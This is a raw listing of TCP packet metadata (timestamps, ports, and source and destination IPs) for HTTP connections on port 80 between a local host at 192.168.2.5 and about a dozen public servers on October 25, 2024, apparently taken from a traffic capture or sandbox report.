Oct 25, 2024 11:17:38.467134953 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.467161894 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.467161894 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.467216969 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.467293978 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.467308998 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.467329979 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.467380047 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.467380047 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.467436075 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.476872921 CEST	80	52606	3.94.41.167	192.168.2.5
Oct 25, 2024 11:17:38.477150917 CEST	52606	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:17:38.511523008 CEST	80	52606	3.94.41.167	192.168.2.5
Oct 25, 2024 11:17:38.511663914 CEST	52606	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:17:38.511710882 CEST	52606	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:17:38.517163992 CEST	80	52606	3.94.41.167	192.168.2.5
Oct 25, 2024 11:17:38.542212009 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.542239904 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.542254925 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.542304993 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.542320967 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.542336941 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.542352915 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.542382956 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.542435884 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.542452097 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.542465925 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.542535067 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.542568922 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.542603970 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.542610884 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.542618990 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.542685032 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.542884111 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.542898893 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.542921066 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.542937040 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.542941093 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.542942047 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.542953968 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.542958975 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.542987108 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.542996883 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.543004990 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.543006897 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.543016911 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.543039083 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.543044090 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.543044090 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.543061018 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.543071985 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.543071985 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.543086052 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.543102026 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.543117046 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.543139935 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.543171883 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.543304920 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.543327093 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.543343067 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.543380976 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.543385983 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.543385983 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.543395996 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.543411970 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.543441057 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.543441057 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.543456078 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.637006998 CEST	52616	80	192.168.2.5	217.19.237.54
Oct 25, 2024 11:17:38.642417908 CEST	80	52616	217.19.237.54	192.168.2.5
Oct 25, 2024 11:17:38.642498016 CEST	52616	80	192.168.2.5	217.19.237.54
Oct 25, 2024 11:17:38.642699957 CEST	52616	80	192.168.2.5	217.19.237.54
Oct 25, 2024 11:17:38.942765951 CEST	52616	80	192.168.2.5	217.19.237.54
Oct 25, 2024 11:17:38.996135950 CEST	80	52611	96.127.180.42	192.168.2.5
Oct 25, 2024 11:17:38.996246099 CEST	52611	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:17:38.996373892 CEST	80	52582	135.181.73.98	192.168.2.5
Oct 25, 2024 11:17:38.996509075 CEST	80	52611	96.127.180.42	192.168.2.5
Oct 25, 2024 11:17:38.996565104 CEST	52582	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:17:38.996612072 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:38.996624947 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:38.996635914 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:38.996660948 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:38.996665001 CEST	52611	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:17:38.996674061 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:38.996676922 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:38.996690989 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:38.996721029 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:38.996726990 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:38.996740103 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:38.996750116 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:38.996762037 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:38.996763945 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:38.996779919 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:38.996783972 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:38.996783972 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:38.996829033 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:38.996829033 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.013556957 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:39.014245987 CEST	52618	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:17:39.015086889 CEST	52619	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:17:39.038333893 CEST	52611	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:17:39.266921043 CEST	52611	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:17:39.331648111 CEST	80	52616	217.19.237.54	192.168.2.5
Oct 25, 2024 11:17:39.331722975 CEST	80	52582	135.181.73.98	192.168.2.5
Oct 25, 2024 11:17:39.331748962 CEST	80	52615	104.196.26.65	192.168.2.5
Oct 25, 2024 11:17:39.331796885 CEST	80	52614	104.26.3.124	192.168.2.5
Oct 25, 2024 11:17:39.331811905 CEST	52582	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:17:39.331854105 CEST	52615	80	192.168.2.5	104.196.26.65
Oct 25, 2024 11:17:39.331859112 CEST	80	52611	96.127.180.42	192.168.2.5
Oct 25, 2024 11:17:39.331867933 CEST	52614	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:17:39.331919909 CEST	52611	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:17:39.331984997 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.332043886 CEST	80	52582	135.181.73.98	192.168.2.5
Oct 25, 2024 11:17:39.332055092 CEST	80	52615	104.196.26.65	192.168.2.5
Oct 25, 2024 11:17:39.332077980 CEST	80	52614	104.26.3.124	192.168.2.5
Oct 25, 2024 11:17:39.332108974 CEST	52615	80	192.168.2.5	104.196.26.65
Oct 25, 2024 11:17:39.332133055 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.332133055 CEST	52582	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:17:39.332137108 CEST	52614	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:17:39.333715916 CEST	80	52616	217.19.237.54	192.168.2.5
Oct 25, 2024 11:17:39.335059881 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.335071087 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.335113049 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:39.335124016 CEST	80	52618	75.119.202.130	192.168.2.5
Oct 25, 2024 11:17:39.335133076 CEST	80	52619	122.128.109.107	192.168.2.5
Oct 25, 2024 11:17:39.335143089 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.335161924 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.335212946 CEST	80	52611	96.127.180.42	192.168.2.5
Oct 25, 2024 11:17:39.335233927 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.335292101 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:39.335495949 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.335515976 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.335527897 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.335537910 CEST	52618	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:17:39.335537910 CEST	52619	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:17:39.335547924 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.335547924 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.335562944 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.335572004 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.335587025 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.335596085 CEST	80	52611	96.127.180.42	192.168.2.5
Oct 25, 2024 11:17:39.335633993 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.336380005 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.336426973 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.336438894 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.336450100 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.336467981 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.336467981 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.336548090 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.337357044 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.337380886 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.337405920 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.337418079 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.337426901 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.337481022 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.338254929 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.339279890 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.340619087 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.340660095 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.340698004 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.340698004 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.340877056 CEST	52619	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:17:39.341006041 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.341043949 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.341070890 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.341188908 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.341382980 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.341556072 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.341615915 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.341772079 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.341830015 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.342041969 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.342106104 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.342262983 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.342525959 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.342600107 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.342749119 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.342768908 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.342819929 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.342819929 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.343251944 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.343307018 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.343363047 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.343703985 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.343764067 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.343784094 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.343833923 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.344604015 CEST	52618	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:17:39.345228910 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.345957041 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.346009970 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.346019030 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.346064091 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.346196890 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.346208096 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.346219063 CEST	80	52619	122.128.109.107	192.168.2.5
Oct 25, 2024 11:17:39.346280098 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.346379995 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.346446037 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.346484900 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.346484900 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.346626043 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.346678019 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.346709967 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.346903086 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.347070932 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.347081900 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.347091913 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.347110987 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.347141027 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.347141027 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.347160101 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.347399950 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.347454071 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.347484112 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.347552061 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.347570896 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.347593069 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.347635031 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.347635031 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.347917080 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.347929001 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.347943068 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.347955942 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.347971916 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.347971916 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.348023891 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.348284960 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.348345995 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.348530054 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.348548889 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.348836899 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.348849058 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.348860979 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.348872900 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.348889112 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.348889112 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.348932028 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.348932028 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.349270105 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.349289894 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.349334002 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.349334002 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.349503040 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.349550962 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.349632025 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.349967957 CEST	80	52618	75.119.202.130	192.168.2.5
Oct 25, 2024 11:17:39.351512909 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.351524115 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.351572037 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.351578951 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.351584911 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.351613998 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.351650000 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.351830006 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.351843119 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.351974010 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.351978064 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.352045059 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.352114916 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.352127075 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.352138042 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.352149963 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.352164984 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.352164984 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.352176905 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.352189064 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.352200985 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.352212906 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.352212906 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.352215052 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.352230072 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.352262020 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.352977991 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.353029966 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.353040934 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.353053093 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.353147030 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.353157997 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.353168964 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.353179932 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.353183985 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.353183985 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.353192091 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.353204012 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.353216887 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.353230000 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.353244066 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.353244066 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.353301048 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.353301048 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.354070902 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.354083061 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.354094028 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.354105949 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.354119062 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.354130030 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.354144096 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.354144096 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.354144096 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.354156017 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.354168892 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.354180098 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.354191065 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.354202986 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.354208946 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.354208946 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.354208946 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.354216099 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.354257107 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.354257107 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.354809046 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.354937077 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.354998112 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.355014086 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.355025053 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.355036020 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.355046988 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.355052948 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.355052948 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.355060101 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.355072021 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.355083942 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.355087996 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.355094910 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.355107069 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.355118990 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.355130911 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.355134010 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.355134010 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.355142117 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.355165958 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.355165958 CEST	52612	80	192.168.2.5	23.227.38.74
